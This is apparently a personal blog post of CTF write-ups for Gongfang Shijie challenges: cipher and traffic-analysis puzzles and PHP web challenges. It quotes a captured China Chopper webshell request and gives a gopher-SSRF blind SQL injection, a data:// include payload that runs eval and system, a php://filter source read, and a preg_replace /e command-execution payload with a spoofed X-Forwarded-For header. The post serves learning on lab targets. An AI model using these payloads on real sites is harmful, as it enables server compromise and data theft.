攻防世界的一些题目
唉,一些题目做的还是磕磕绊绊的,好菜啊,得加把劲了,马上要省赛了。。。
misc
如来十三掌
附件是一个docx,打开之后
夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮
与佛伦禅解码后:
MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9
base64解码:
flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}
神奇的Modbus
附件是一个流量包
直接搜索搜到了flag
flag{Easy_Mdbus}
功夫再高也怕菜刀
流量,用binwalk分离出一个加密后的压缩包,有密码,爆破了半天,爆破不出来。再回去看流量包。
发现有一个请求特别大,跟上看看。
截选部分放上:
POST /upload/1.php HTTP/1.1
User-Agent: Java/1.8.0_151
Host: 192.168.43.83
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 204999
aa=@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D&z1=RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc%3D&z2=FFD8FFE000104A46494600010101007800780000FFDB00430001010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101FFDB00430101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101FFC0001108013901E203012200021101031101FFC4001F0000010501010101010100000000000000000102030405060708090A0BFFC400B5100002010303020403050504040000017D01020300041105122131410613516107227114328191A1082342B1C11552D1F02433627282090A161718191A25262728292A3435363738393A434445464748494A535455565758595A636465666768696A737475767778797A838485868788898A92939495969798999AA2A3A4A5A6A7A8A9AAB2B3B4B5B6B7B8B9BAC2C3C4C5C6C7C8C9CAD2D3D4D5D6D7D8D9DAE1E2E3E4E5E6E7E8E9EAF1F2F3F4F5F6F7F8F9FAFFC4001F0100030101010101010101010000000000000102030405060708090A0BFFC400B51100020102040403040705040400010277000102031104......
可以看到有两个参数。
z1=RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc
base解码:D:\wamp64\www\upload\6666.jpg
z2=图片的hex码
转图片:
Th1s_1s_p4sswd_!!!
这个应该就是压缩包的解压密码了,拿到flag:flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}
流量流量
又是一道流量题
sql注入的流量
导出http包的界面可以看到所有的url,可以看到应该是在盲注
随便解码一条:
GET /index.php?url=gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1
Host: localhost:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
id=1) and if((ascii(substr((select flag from flag),8,1))='119'),sleep(3),0) -- HTTP/1.1
代表在尝试第8位是否是w
http and frame.time_delta > 3
这个命令用来筛选时间大于3s的http包。
不会编写代码,只能一条一条复制出来解码
flag{1qwy2781}
web
Web_php_include
文件包含
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
解:
?page=data://text/plain,<?=eval($_POST[1]);?>
post:1=system("tac fl4gisisish3r3.php");
cookie
题目提示看cookie
提示看响应包,找到flag
bibibi
扫目录扫到了
url/robots.txt
User-agent: *
Disallow:
Allow: /fl4gi5Here.php
view_source
flag就藏在源码里面
ics-05
随便点点,观察到url/?page=index111有回显
感觉是文件包含漏洞,用php伪协议看看index.php
url?page=php://filter/read=convert.base64-encode/resource=index.php
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
echo $page; die();
}
else{
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
我其实一直想用文件包含日志文件做,但是没找到日志文件。。。看了wp才知道怎么做。
当我们设置X_FORWARDED_FOR==127.0.0.1的时候就可以利用上面的代码。
preg_replace($pattern, $replacement, $subject)
preg_replace(参数一,参数二,参数三)函数:
参数一:要搜索的正则表达式
参数二:用于替换匹配部分的字符
参数三:要被进行替换的原始字符串
构造:?pat=/1/e&rep=system("ls");&sub=1
正则表达式中的 /e 修饰符在 PHP 中已经被废弃,它表示在执行替换时将替换字符串作为 PHP 代码进行评估和执行。在较早的 PHP 版本中,preg_replace() 函数支持 /e 修饰符,但由于其存在严重的安全隐患,自 PHP 5.5.0 版本开始被弃用,并在 PHP 7.0.0 版本中完全移除。
本题就是可以用利用正则表达式将1替换为 system("ls");,再使用正则表达式/e来执行命令,这道题要记得加X-Forwarded-FOR来绕过check。
找到flag
标签:攻防,PHP,题目,url,die,世界,flag,php,page From: https://www.cnblogs.com/xiaochange/p/18341677